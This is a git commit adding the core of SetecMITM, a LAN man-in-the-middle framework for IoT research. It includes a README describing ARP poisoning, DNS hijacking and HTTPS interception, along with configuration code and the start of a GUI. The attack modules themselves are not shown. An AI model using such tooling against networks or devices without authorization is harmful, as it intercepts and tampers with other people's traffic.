Initial commit — SetecMITM generic IoT MITM framework
Templated from cam-mitm. The camera-specific code (UBox cloud client, CVE verifiers, OAM HMAC signing, fuzzer wordlists) is removed; what's left is the generic core: ARP spoof, DNS spoof, HTTP/HTTPS interception with peek-before-wrap, raw sniffer with conntrack-based original-dst lookup, protocol fingerprinting, intruder detection, packet injection, log rotation, PyQt6 GUI on top of a service Controller. All 'camera' references renamed to 'target' throughout. Configuration moved into ~/.config/setec-mitm/config.json with the Settings tab as the primary editor. Plugin system at targets/<name>/plugin.py for vendor-specific code. See README.md for full setup, plugin authoring, and troubleshooting. Co-authored by Setec Labs.
This commit is contained in:
25
.gitignore
vendored
Normal file
25
.gitignore
vendored
Normal file
@@ -0,0 +1,25 @@
|
|||||||
|
# Python
|
||||||
|
__pycache__/
|
||||||
|
*.py[cod]
|
||||||
|
*.pyo
|
||||||
|
*.egg-info/
|
||||||
|
.venv/
|
||||||
|
venv/
|
||||||
|
|
||||||
|
# Logs and captures (can contain real PII — never commit)
|
||||||
|
setec_mitm_logs/
|
||||||
|
*.pcap
|
||||||
|
*.log
|
||||||
|
*.bin
|
||||||
|
fuzz_results_*.json
|
||||||
|
|
||||||
|
# Local config (may contain credentials)
|
||||||
|
config.json
|
||||||
|
~/.config/setec-mitm/
|
||||||
|
|
||||||
|
# OS / editor
|
||||||
|
.DS_Store
|
||||||
|
*.swp
|
||||||
|
*~
|
||||||
|
.idea/
|
||||||
|
.vscode/
|
||||||
21
LICENSE
Normal file
21
LICENSE
Normal file
@@ -0,0 +1,21 @@
|
|||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2026 Setec Labs
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in
|
||||||
|
all copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||||
|
THE SOFTWARE.
|
||||||
336
README.md
Normal file
336
README.md
Normal file
@@ -0,0 +1,336 @@
|
|||||||
|
# SetecMITM
|
||||||
|
|
||||||
|
**Generic LAN-side MITM framework for any IoT or cloud-connected device.**
|
||||||
|
|
||||||
|
A drop-in toolkit for ARP spoofing, DNS hijacking, HTTP/HTTPS interception with auto-generated certs, raw packet sniffing with original-destination lookup and protocol fingerprinting, UDP capture, intruder detection, and packet injection — packaged with a PyQt6 GUI on top of a service supervisor that lets you toggle each component independently.
|
||||||
|
|
||||||
|
Built for authorized security research on hardware you own. The framework is target-agnostic; vendor-specific code (cloud API clients, fuzz wordlists, CVE verifiers, custom protocol decoders) lives in `targets/<name>/` plugins, so you can re-aim the same toolkit at any device without forking the core.
|
||||||
|
|
||||||
|
> This is the generic version. The companion repository **[cam-mitm](https://repo.seteclabs.io/SetecLabs/cam-mitm)** is the specialised camera-research case study that produced [camhak.seteclabs.io](https://camhak.seteclabs.io) — a 20-finding teardown of a UBIA-rebrand IP camera. Both share the same core; cam-mitm just bundles the camera-specific plugin.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Table of Contents
|
||||||
|
|
||||||
|
1. [What it does](#what-it-does)
|
||||||
|
2. [Architecture](#architecture)
|
||||||
|
3. [Requirements](#requirements)
|
||||||
|
4. [Install](#install)
|
||||||
|
5. [Quick start](#quick-start)
|
||||||
|
6. [Configuration](#configuration)
|
||||||
|
7. [The GUI](#the-gui)
|
||||||
|
8. [Services](#services)
|
||||||
|
9. [Writing a target plugin](#writing-a-target-plugin)
|
||||||
|
10. [Headless / curses mode](#headless--curses-mode)
|
||||||
|
11. [REST API](#rest-api)
|
||||||
|
12. [Logs and captures](#logs-and-captures)
|
||||||
|
13. [Troubleshooting](#troubleshooting)
|
||||||
|
14. [Legal](#legal)
|
||||||
|
15. [License](#license)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## What it does
|
||||||
|
|
||||||
|
SetecMITM positions itself as the gateway for one specific device on your LAN, intercepts everything that device sends, and lets you observe / log / fingerprint / replay / mutate the traffic. Specifically:
|
||||||
|
|
||||||
|
- **ARP poisoning** — tells the target that *you* are the gateway, with auto-cleanup on exit so you don't strand anything when you're done.
|
||||||
|
- **Selective DNS spoof** — answers DNS queries from the target with your IP. Spoof everything, or whitelist a few domains.
|
||||||
|
- **HTTP/HTTPS MITM** — listens on :80 and :443, accepts the redirected traffic, peeks at the first bytes before wrapping in TLS so non-TLS traffic on :443 doesn't get lost. Auto-generates a cert with the right SAN list (regenerable via `regen_cert.sh`).
|
||||||
|
- **Raw packet sniffer** — sees every packet on the interface, looks up the *original* destination via `conntrack` (so you know what the target was actually trying to reach before iptables redirected it), and labels each packet with a protocol guess from the first 6 bytes.
|
||||||
|
- **UDP listeners** — bind to arbitrary UDP ports to catch P2P / push traffic. Configurable per target.
|
||||||
|
- **Intruder detection** — flags ARP-spoof attempts against your target, unknown LAN hosts contacting it, and outbound destinations not on your "expected cloud" whitelist. Useful for catching a third party already on the device.
|
||||||
|
- **Packet injection** — UDP, ARP, DNS. Used for crafting tests and simulating traffic.
|
||||||
|
- **Plugin system** — drop a `targets/<name>/plugin.py` to add vendor-specific endpoints, DNS hosts, UDP ports, and CVE verifiers.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Architecture
|
||||||
|
|
||||||
|
```
|
||||||
|
┌─────────────────────────────────────────────────────────┐
|
||||||
|
│ PyQt6 GUI (gui.py) │ curses TUI (mitm.py) │
|
||||||
|
└──────────┬──────────────────┴──────────┬────────────────┘
|
||||||
|
│ │
|
||||||
|
▼ ▼
|
||||||
|
┌─────────────────────────────────────┐
|
||||||
|
│ Controller │
|
||||||
|
│ (per-service start/stop, iptables) │
|
||||||
|
└──┬───────────────────────────────┬──┘
|
||||||
|
│ │
|
||||||
|
▼ ▼
|
||||||
|
┌───────────────┐ ┌──────────────────┐
|
||||||
|
│ services/ │ │ targets/<name>/ │
|
||||||
|
│ - arp_spoof │ │ - plugin.py │
|
||||||
|
│ - dns_spoof │ │ (optional) │
|
||||||
|
│ - http_server│ └──────────────────┘
|
||||||
|
│ - udp_listen │
|
||||||
|
│ - sniffer │ ┌──────────────────┐
|
||||||
|
│ - intruder_w │ │ utils/ │
|
||||||
|
└───────────────┘ │ - log (1GB rot) │
|
||||||
|
│ - proto (fp) │
|
||||||
|
└──────────────────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
- **Controller** is the only thing that touches iptables. It supervises a fixed set of services (arp, dns, http, https, sniffer, intruder) plus any number of UDP listeners. Each service runs in its own thread and is independently start/stoppable.
|
||||||
|
- **Services** are dumb threads. They read config, do their job, and write to the shared log buffer.
|
||||||
|
- **Targets** are optional plugins. If `target_plugin = "foo"` is set in the config, the Controller imports `targets/foo/plugin.py` at startup and gives the plugin an opportunity to register endpoints, DNS rules, UDP ports, and protocol detectors.
|
||||||
|
- **GUI** is a thin layer over the Controller. The same Controller works headless (`mitm.py`) for unattended deployments.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Requirements
|
||||||
|
|
||||||
|
- Linux. Tested on Ubuntu 22.04 / 24.04 ARM64 and x86_64.
|
||||||
|
- Python 3.10+ (the system Python — `/usr/bin/python3` on Debian-derivatives).
|
||||||
|
- PyQt6 (for the GUI). On Debian/Ubuntu: `sudo apt install python3-pyqt6`.
|
||||||
|
- Standard userland: `iptables`, `openssl`, `conntrack` (recommended for original-destination lookup), `arp-scan` (optional).
|
||||||
|
- Root access. The framework binds raw sockets and modifies the firewall — there is no way around `sudo`.
|
||||||
|
|
||||||
|
No external Python packages required beyond PyQt6 — the rest is standard library.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Install
|
||||||
|
|
||||||
|
```bash
|
||||||
|
git clone https://repo.seteclabs.io/SetecLabs/setec-mitm
|
||||||
|
cd setec-mitm
|
||||||
|
sudo apt install python3-pyqt6 conntrack openssl iptables
|
||||||
|
```
|
||||||
|
|
||||||
|
That's it. There is nothing to compile and nothing to `pip install`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Quick start
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd /path/to/setec-mitm
|
||||||
|
sudo /usr/bin/python3 gui.py
|
||||||
|
```
|
||||||
|
|
||||||
|
Then in the GUI:
|
||||||
|
|
||||||
|
1. **Open the Settings tab.**
|
||||||
|
2. Fill in the target's IP, the target's MAC, the IP of *this* box, the gateway IP, and the network interface name. Save Config.
|
||||||
|
3. **Open the Dashboard.**
|
||||||
|
4. Click **▶ START ALL** — or click each service row individually to bring them up one at a time.
|
||||||
|
5. **Switch to Live Log** to watch traffic stream in real time.
|
||||||
|
6. **Power-cycle the target** so its boot-time traffic gets captured.
|
||||||
|
|
||||||
|
Stop everything with **⏹ STOP ALL**, which also restores ARP and removes the iptables rules.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Configuration
|
||||||
|
|
||||||
|
Config lives at `~/.config/setec-mitm/config.json`. The Settings tab in the GUI is the easiest way to edit it; the file is plain JSON if you'd rather use an editor.
|
||||||
|
|
||||||
|
| Key | Default | Notes |
|
||||||
|
|---|---|---|
|
||||||
|
| `target_ip` | (empty) | **REQUIRED.** IP of the device under test. |
|
||||||
|
| `target_mac` | (empty) | **REQUIRED.** MAC of the device under test. |
|
||||||
|
| `our_ip` | (empty) | **REQUIRED.** IP of THIS box. The MITM host. |
|
||||||
|
| `router_ip` | (empty) | **REQUIRED.** Gateway IP for the LAN. |
|
||||||
|
| `iface` | (empty) | **REQUIRED.** Network interface name (e.g. `eth0`, `wlan0`, `enP4p65s0`). |
|
||||||
|
| `log_dir` | `~/setec_mitm_logs` | Where capture files and the rotating log live. |
|
||||||
|
| `log_max_bytes` | `1073741824` | 1 GiB. Log file rotates above this size. |
|
||||||
|
| `auto_arp` | `true` | Start ARP service when "START ALL" is hit. |
|
||||||
|
| `auto_dns` | `true` | Same, for DNS spoof. |
|
||||||
|
| `auto_http` | `true` | Same, for HTTP. |
|
||||||
|
| `auto_https` | `true` | Same, for HTTPS. |
|
||||||
|
| `auto_sniffer` | `true` | Same, for sniffer. |
|
||||||
|
| `auto_intruder` | `true` | Same, for intruder watch. |
|
||||||
|
| `auto_udp_ports` | `[]` | List of UDP ports to listen on (e.g. `[10240, 8000]`). |
|
||||||
|
| `dns_spoof_only` | `[]` | If non-empty, only spoof these hostnames. Empty = spoof all. |
|
||||||
|
| `intruder_known_nets` | `[]` | CIDRs the target is *expected* to talk to. Anything outside flagged. |
|
||||||
|
| `rest_port` | `9090` | REST API port for external tool integration. |
|
||||||
|
| `target_plugin` | `""` | Plugin name under `targets/`. Optional. |
|
||||||
|
|
||||||
|
When run with `sudo`, paths starting with `~` resolve to `/root` because the env's `HOME` is the root user's. Use absolute paths in the config if you want files to land in your normal user's home.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## The GUI
|
||||||
|
|
||||||
|
Six tabs:
|
||||||
|
|
||||||
|
### Dashboard
|
||||||
|
Big START/STOP buttons. The "Services" group has a clickable button per service — click any one to toggle it independently. The "Protocols Seen" panel shows live counts of every protocol the sniffer has fingerprinted (TLS, HTTP, RTSP, IOTC, STUN, DNS, NTP, etc.). The "Target" panel shows the four IPs and the MAC.
|
||||||
|
|
||||||
|
### Live Log
|
||||||
|
Color-coded scrolling log of every event from every service. Substring filter (live). Toggleable Autoscroll — uncheck it to read history while traffic continues to append silently below.
|
||||||
|
|
||||||
|
### Intruders
|
||||||
|
Table of every suspicious event the intruder watcher has flagged. Three kinds:
|
||||||
|
|
||||||
|
- **ARP_SPOOF** — Someone other than the real target is sending ARP replies claiming to be the target's IP. Either you're being attacked, or another tool is in the way, or you ARP-spoofed yourself.
|
||||||
|
- **LAN_PEER** — A LAN host that isn't you, the gateway, or the target is exchanging traffic with the target. Worth investigating.
|
||||||
|
- **UNKNOWN_DST** — The target reached out to an internet host not in your `intruder_known_nets` whitelist. Useful for catching the device phoning home to a new C2 / new vendor cloud.
|
||||||
|
|
||||||
|
### Inject
|
||||||
|
Forms for crafting and sending raw UDP, ARP, and DNS packets. UDP takes a hex payload. ARP_REPLY takes a spoofed source IP. DNS_QUERY takes a domain name.
|
||||||
|
|
||||||
|
### Settings
|
||||||
|
Every config key, in a form. Save Config to persist. Reload From Disk to discard unsaved changes.
|
||||||
|
|
||||||
|
### Help
|
||||||
|
Embedded short version of this README.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Services
|
||||||
|
|
||||||
|
| Service | What it does | Notes |
|
||||||
|
|---|---|---|
|
||||||
|
| **arp** | ARP cache poisoning of the target so the target thinks we are the gateway. Auto-cleanup on stop. | Required for any other service to actually intercept traffic. |
|
||||||
|
| **dns** | Listens on :53/udp. Answers DNS queries from the target with our IP (or only specific hosts if `dns_spoof_only` is set). | Catches the cloud lookups before they leave the LAN. |
|
||||||
|
| **http** | Listens on :80/tcp. Logs request line + headers + body. | iptables NAT redirect from the target's traffic to us. |
|
||||||
|
| **https** | Listens on :443/tcp. **Peeks at first bytes before wrapping TLS** — so non-TLS traffic on :443 doesn't get lost. | Uses `~/setec_mitm_logs/mitm_cert.pem` and `mitm_key.pem`. Regenerate with `regen_cert.sh` if you need a different SAN list. |
|
||||||
|
| **udp_listen** | Listens on configurable UDP ports. Logs every packet with hex dump and basic magic-byte detection. | List the ports in `auto_udp_ports`. |
|
||||||
|
| **sniffer** | Raw socket sniffer on the configured interface. For each packet sent by the target, looks up the *pre-NAT* original destination via `conntrack -L --src ... --sport ... -p tcp/udp`, fingerprints the protocol from the first 6 bytes of the payload, and logs both. | Requires `conntrack` (Debian: `apt install conntrack`). Gracefully degrades to "orig=?" if missing. |
|
||||||
|
| **intruder_watch** | Same raw socket as the sniffer. Detects ARP_SPOOF / LAN_PEER / UNKNOWN_DST events as defined above. | The whitelist for "expected cloud" comes from `intruder_known_nets` in your config plus the plugin's `KNOWN_CLOUD_NETS`. |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Writing a target plugin
|
||||||
|
|
||||||
|
Plugins let you bundle vendor-specific knowledge without forking the core.
|
||||||
|
|
||||||
|
The minimal plugin is a single file at `targets/<your_name>/plugin.py` containing a `Plugin` class. Look at `targets/example/plugin.py` for the full template. The fields you'll likely set:
|
||||||
|
|
||||||
|
```python
|
||||||
|
class Plugin:
|
||||||
|
NAME = "myvendor"
|
||||||
|
DESCRIPTION = "MyVendor IP camera (rebrand of XYZ)"
|
||||||
|
|
||||||
|
KNOWN_CLOUD_NETS = [
|
||||||
|
("203.0.113.0", 24), # vendor's API
|
||||||
|
("198.51.100.0", 23), # P2P relay
|
||||||
|
]
|
||||||
|
|
||||||
|
DNS_SPOOF_HOSTS = [
|
||||||
|
"api.myvendor.com",
|
||||||
|
"p2p.myvendor.com",
|
||||||
|
]
|
||||||
|
|
||||||
|
UDP_PORTS = [10240, 8000]
|
||||||
|
|
||||||
|
KNOWN_API_ENDPOINTS = [
|
||||||
|
"/api/v1/login",
|
||||||
|
"/api/v1/devices",
|
||||||
|
"/api/v1/firmware/check",
|
||||||
|
]
|
||||||
|
|
||||||
|
def __init__(self, cfg):
|
||||||
|
self.cfg = cfg
|
||||||
|
|
||||||
|
def on_start(self): pass
|
||||||
|
def on_stop(self): pass
|
||||||
|
def custom_http_handler(self, request): return None
|
||||||
|
def detect_protocol(self, payload_first_bytes): return None
|
||||||
|
```
|
||||||
|
|
||||||
|
Then in the GUI Settings tab set `target_plugin = "myvendor"` and restart. The Controller will import it and the plugin's known cloud nets and DNS hosts will be added to the framework's defaults.
|
||||||
|
|
||||||
|
For richer plugins (vendor cloud client, CVE verifiers, fuzzer wordlists), add modules alongside `plugin.py`:
|
||||||
|
|
||||||
|
```
|
||||||
|
targets/myvendor/
|
||||||
|
├── __init__.py
|
||||||
|
├── plugin.py # required
|
||||||
|
├── client.py # optional — wraps the vendor cloud API
|
||||||
|
├── cve_checks.py # optional — original PoC verifiers
|
||||||
|
├── fuzzer_endpoints.py # optional — KNOWN_ENDPOINTS list for the fuzzer
|
||||||
|
└── README.md # what's this device, what works, what doesn't
|
||||||
|
```
|
||||||
|
|
||||||
|
The cam-mitm repo is the reference example: it has `targets/javiscam_2604/` with `client.py` (UBox cloud + OAM HMAC signing), `cve_checks.py` (CVE-2025-12636, CVE-2021-28372, CVE-2023-6322 chain), `firmware_fetch.py`, and `ota_bucket_probe.py`. Worth reading.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Headless / curses mode
|
||||||
|
|
||||||
|
If you don't want the PyQt6 GUI:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo /usr/bin/python3 mitm.py
|
||||||
|
```
|
||||||
|
|
||||||
|
This runs the Controller directly, starts every service that has `auto_*` set to `true`, and blocks until SIGINT/SIGTERM. Useful for unattended deployments.
|
||||||
|
|
||||||
|
A full curses TUI is also available in the cam-mitm repo (the camera-specific fork). Drop `mitm.py` from there into this directory if you want command-line interactive control.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## REST API
|
||||||
|
|
||||||
|
The Controller exposes a small REST API on `127.0.0.1:9090` (configurable via `rest_port`). Endpoints:
|
||||||
|
|
||||||
|
| Method | Path | Description |
|
||||||
|
|---|---|---|
|
||||||
|
| GET | `/status` | Service status, flags, config snapshot |
|
||||||
|
| GET | `/logs?count=N` | Recent log entries |
|
||||||
|
| GET | `/config` | Current configuration |
|
||||||
|
| POST | `/start` | Start all services |
|
||||||
|
| POST | `/stop` | Stop all services |
|
||||||
|
| POST | `/config` | Update config: `{"key": "value"}` |
|
||||||
|
| POST | `/inject` | Send packet: `{"type": "udp", "dst_ip": "...", ...}` |
|
||||||
|
|
||||||
|
Useful for AI-assisted automated testing or integration with other tools. Note: the REST API binds to `127.0.0.1` only — never expose it to a network you don't control.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Logs and captures
|
||||||
|
|
||||||
|
Default log directory: `~/setec_mitm_logs/` (or `/root/setec_mitm_logs/` when run via `sudo` — set `log_dir` to an absolute path if you want it elsewhere).
|
||||||
|
|
||||||
|
| File | What |
|
||||||
|
|---|---|
|
||||||
|
| `setec_mitm.log` | Main log file. Rotates at 1 GiB to `setec_mitm.log.YYYYMMDD_HHMMSS`. |
|
||||||
|
| `mitm_cert.pem` / `mitm_key.pem` | Auto-generated TLS cert/key for HTTPS interception. Regen with `regen_cert.sh`. |
|
||||||
|
| `raw_443_<ip>_<ts>.bin` | Raw bytes captured when non-TLS traffic hit the HTTPS listener. |
|
||||||
|
| `raw_tls_fail_<ip>_<ts>.bin` | First-bytes capture of any TLS connection that failed handshake (e.g. cert pinning). |
|
||||||
|
| `sniff_udp<port>_<sport>_<ts>.bin` | UDP payloads captured by the sniffer. |
|
||||||
|
| `udp<port>_<addr>_<sport>_<ts>.bin` | UDP listener captures. |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Troubleshooting
|
||||||
|
|
||||||
|
**"target_ip and our_ip must be set"** — Open the Settings tab and fill in the four required network fields. Save. Try START ALL again.
|
||||||
|
|
||||||
|
**HTTPS shows `SSL fail` / `wrong version number`** — That's the framework correctly detecting non-TLS traffic on :443. The first 8 bytes are dumped in the log; check what protocol the target is actually speaking. The HTTPS listener already peeks before wrapping, so this shouldn't crash anything — but if you keep getting it, the bytes file at `raw_443_*.bin` will tell you what the device is doing.
|
||||||
|
|
||||||
|
**Camera is unreachable after starting MITM** — Either you misconfigured `our_ip` (you set it to a different host on the LAN) or `router_ip` (so the target's traffic is being routed to a dead end). Stop everything, fix the config, restart. ARP poison is auto-restored on stop.
|
||||||
|
|
||||||
|
**No traffic in the sniffer at all** — Verify ARP is actually working: `arp -an | grep <target_ip>` should show *your* MAC, not the router's. If it shows the router, the ARP service isn't running, or `iface` is wrong.
|
||||||
|
|
||||||
|
**conntrack not installed** — Sniffer logs will show `orig=?` instead of the pre-NAT destination. Not fatal, but install it: `sudo apt install conntrack`.
|
||||||
|
|
||||||
|
**`fuser: not found`** — Install psmisc: `sudo apt install psmisc`. The framework uses `fuser -k` to free a stuck listener port.
|
||||||
|
|
||||||
|
**Custom Python build doesn't have curses or PyQt6** — The framework requires the system Python. Always launch with `/usr/bin/python3 gui.py`, never with a `/usr/local/bin/python3` from a manual build that's missing modules.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Legal
|
||||||
|
|
||||||
|
This tool is intended for authorized security testing on devices you own. Unauthorized interception of network traffic is illegal in most jurisdictions. Always obtain proper authorization before testing.
|
||||||
|
|
||||||
|
The authors take no responsibility for misuse. Don't be an idiot.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## License
|
||||||
|
|
||||||
|
MIT. See `LICENSE`. Originally developed by Setec Labs as part of the [Camhak](https://camhak.seteclabs.io) research project.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## See also
|
||||||
|
|
||||||
|
- **[cam-mitm](https://repo.seteclabs.io/SetecLabs/cam-mitm)** — the camera-specific fork with the full Javiscam/UBox plugin, the CVE verifiers, the OAM HMAC client, and the fuzzer with a 146-endpoint wordlist
|
||||||
|
- **[camhak.seteclabs.io](https://camhak.seteclabs.io)** — the published research report (20 findings, 3 CVEs)
|
||||||
|
- **[seteclabs.io](https://seteclabs.io)** — the lab
|
||||||
97
config.py
Normal file
97
config.py
Normal file
@@ -0,0 +1,97 @@
|
|||||||
|
"""SetecMITM configuration management"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
|
||||||
|
DEFAULT_CONFIG = {
|
||||||
|
# ── Network targets ─────────────────────────────────────────
|
||||||
|
"target_ip": "", # IP of the device under test
|
||||||
|
"target_mac": "", # MAC of the device under test
|
||||||
|
"our_ip": "", # IP of THIS box (the MITM host)
|
||||||
|
"router_ip": "", # gateway IP
|
||||||
|
"iface": "", # network interface name (e.g. eth0)
|
||||||
|
|
||||||
|
# ── Logging / output ────────────────────────────────────────
|
||||||
|
"log_dir": os.path.expanduser("~/setec_mitm_logs"),
|
||||||
|
"log_max_bytes": 1024 * 1024 * 1024, # 1 GiB rotation
|
||||||
|
|
||||||
|
# ── Services to auto-start (each can be toggled in the GUI) ─
|
||||||
|
"auto_arp": True,
|
||||||
|
"auto_dns": True,
|
||||||
|
"auto_http": True,
|
||||||
|
"auto_https": True,
|
||||||
|
"auto_sniffer": True,
|
||||||
|
"auto_intruder": True,
|
||||||
|
"auto_udp_ports": [], # list of UDP ports to listen on
|
||||||
|
|
||||||
|
# ── DNS spoofing ────────────────────────────────────────────
|
||||||
|
# If empty, DNS spoof catches every query and points it at us.
|
||||||
|
# Otherwise only entries here are spoofed (others passed through).
|
||||||
|
"dns_spoof_only": [],
|
||||||
|
|
||||||
|
# ── Intruder watch ──────────────────────────────────────────
|
||||||
|
# CIDRs the target is *expected* to talk to. Anything outside
|
||||||
|
# these gets flagged in the Intruders tab.
|
||||||
|
"intruder_known_nets": [],
|
||||||
|
|
||||||
|
# ── REST API ────────────────────────────────────────────────
|
||||||
|
"rest_port": 9090,
|
||||||
|
|
||||||
|
# ── Plugin loader ───────────────────────────────────────────
|
||||||
|
# Name of a target plugin under targets/<name>/. The plugin can
|
||||||
|
# provide a custom client, fuzzer endpoint list, CVE checks, and
|
||||||
|
# protocol fingerprints. See targets/example/ for the layout.
|
||||||
|
"target_plugin": "",
|
||||||
|
}
|
||||||
|
|
||||||
|
CONFIG_FILE = os.path.expanduser("~/.config/setec-mitm/config.json")
|
||||||
|
|
||||||
|
|
||||||
|
class Config:
|
||||||
|
def __init__(self):
|
||||||
|
self._data = dict(DEFAULT_CONFIG)
|
||||||
|
self.load()
|
||||||
|
|
||||||
|
def __getitem__(self, key):
|
||||||
|
return self._data[key]
|
||||||
|
|
||||||
|
def __setitem__(self, key, value):
|
||||||
|
self._data[key] = value
|
||||||
|
|
||||||
|
def get(self, key, default=None):
|
||||||
|
return self._data.get(key, default)
|
||||||
|
|
||||||
|
def keys(self):
|
||||||
|
return self._data.keys()
|
||||||
|
|
||||||
|
def items(self):
|
||||||
|
return self._data.items()
|
||||||
|
|
||||||
|
def update(self, d):
|
||||||
|
self._data.update(d)
|
||||||
|
|
||||||
|
def load(self):
|
||||||
|
if os.path.exists(CONFIG_FILE):
|
||||||
|
try:
|
||||||
|
with open(CONFIG_FILE) as f:
|
||||||
|
self._data.update(json.load(f))
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def save(self):
|
||||||
|
os.makedirs(os.path.dirname(CONFIG_FILE), exist_ok=True)
|
||||||
|
with open(CONFIG_FILE, "w") as f:
|
||||||
|
json.dump(self._data, f, indent=2)
|
||||||
|
|
||||||
|
def to_dict(self):
|
||||||
|
return dict(self._data)
|
||||||
|
|
||||||
|
def safe_dict(self):
|
||||||
|
"""Config dict with sensitive values masked."""
|
||||||
|
d = dict(self._data)
|
||||||
|
for k in list(d.keys()):
|
||||||
|
if "password" in k.lower() or "secret" in k.lower() or "token" in k.lower():
|
||||||
|
v = d[k]
|
||||||
|
if isinstance(v, str) and v:
|
||||||
|
d[k] = v[:6] + "…"
|
||||||
|
return d
|
||||||
480
gui.py
Executable file
480
gui.py
Executable file
@@ -0,0 +1,480 @@
|
|||||||
|
#!/usr/bin/python3
|
||||||
|
"""
|
||||||
|
SetecMITM — generic IoT / cloud-device MITM framework (PyQt6 GUI).
|
||||||
|
Run: sudo /usr/bin/python3 gui.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import json
|
||||||
|
import threading
|
||||||
|
import signal
|
||||||
|
|
||||||
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
|
|
||||||
|
from PyQt6.QtCore import Qt, QTimer, pyqtSignal, QObject
|
||||||
|
from PyQt6.QtGui import QFont, QTextCursor, QColor
|
||||||
|
from PyQt6.QtWidgets import (
|
||||||
|
QApplication, QMainWindow, QWidget, QTabWidget, QVBoxLayout, QHBoxLayout,
|
||||||
|
QPushButton, QPlainTextEdit, QLabel, QLineEdit, QTableWidget,
|
||||||
|
QTableWidgetItem, QHeaderView, QFormLayout, QGroupBox,
|
||||||
|
QStatusBar, QMessageBox, QTextEdit, QAbstractItemView, QCheckBox,
|
||||||
|
)
|
||||||
|
|
||||||
|
from config import Config, CONFIG_FILE
|
||||||
|
from utils.log import (
|
||||||
|
log, log_lines, init_logfile, close_logfile, lock,
|
||||||
|
C_NONE, C_ERROR, C_SUCCESS, C_INFO, C_TRAFFIC, C_IMPORTANT,
|
||||||
|
)
|
||||||
|
from utils import proto as proto_id
|
||||||
|
from services import intruder_watch
|
||||||
|
from inject import packet
|
||||||
|
from mitm import Controller
|
||||||
|
|
||||||
|
|
||||||
|
QT_COLORS = {
|
||||||
|
C_NONE: QColor("#cccccc"),
|
||||||
|
C_ERROR: QColor("#ff5555"),
|
||||||
|
C_SUCCESS: QColor("#50fa7b"),
|
||||||
|
C_INFO: QColor("#8be9fd"),
|
||||||
|
C_TRAFFIC: QColor("#f1fa8c"),
|
||||||
|
C_IMPORTANT: QColor("#ff79c6"),
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
class LogBridge(QObject):
|
||||||
|
new_lines = pyqtSignal(list)
|
||||||
|
|
||||||
|
|
||||||
|
class MainWindow(QMainWindow):
|
||||||
|
def __init__(self, ctrl):
|
||||||
|
super().__init__()
|
||||||
|
self.ctrl = ctrl
|
||||||
|
self.setWindowTitle("SetecMITM — Generic IoT MITM")
|
||||||
|
self.resize(1400, 900)
|
||||||
|
self._apply_dark_theme()
|
||||||
|
|
||||||
|
self.bridge = LogBridge()
|
||||||
|
self.bridge.new_lines.connect(self._append_log)
|
||||||
|
self._last_log_idx = 0
|
||||||
|
|
||||||
|
self.tabs = QTabWidget()
|
||||||
|
self.tabs.addTab(self._build_dashboard(), "Dashboard")
|
||||||
|
self.tabs.addTab(self._build_log_tab(), "Live Log")
|
||||||
|
self.tabs.addTab(self._build_intruder_tab(), "Intruders")
|
||||||
|
self.tabs.addTab(self._build_inject_tab(), "Inject")
|
||||||
|
self.tabs.addTab(self._build_settings_tab(), "Settings")
|
||||||
|
self.tabs.addTab(self._build_help_tab(), "Help")
|
||||||
|
self.setCentralWidget(self.tabs)
|
||||||
|
|
||||||
|
self.status = QStatusBar()
|
||||||
|
self.setStatusBar(self.status)
|
||||||
|
self.refresh_timer = QTimer(self)
|
||||||
|
self.refresh_timer.timeout.connect(self._tick)
|
||||||
|
self.refresh_timer.start(300)
|
||||||
|
|
||||||
|
log("SetecMITM GUI ready", C_SUCCESS)
|
||||||
|
if not self.ctrl.cfg["target_ip"]:
|
||||||
|
log("⚠ target_ip is not set — open the Settings tab first", C_ERROR)
|
||||||
|
|
||||||
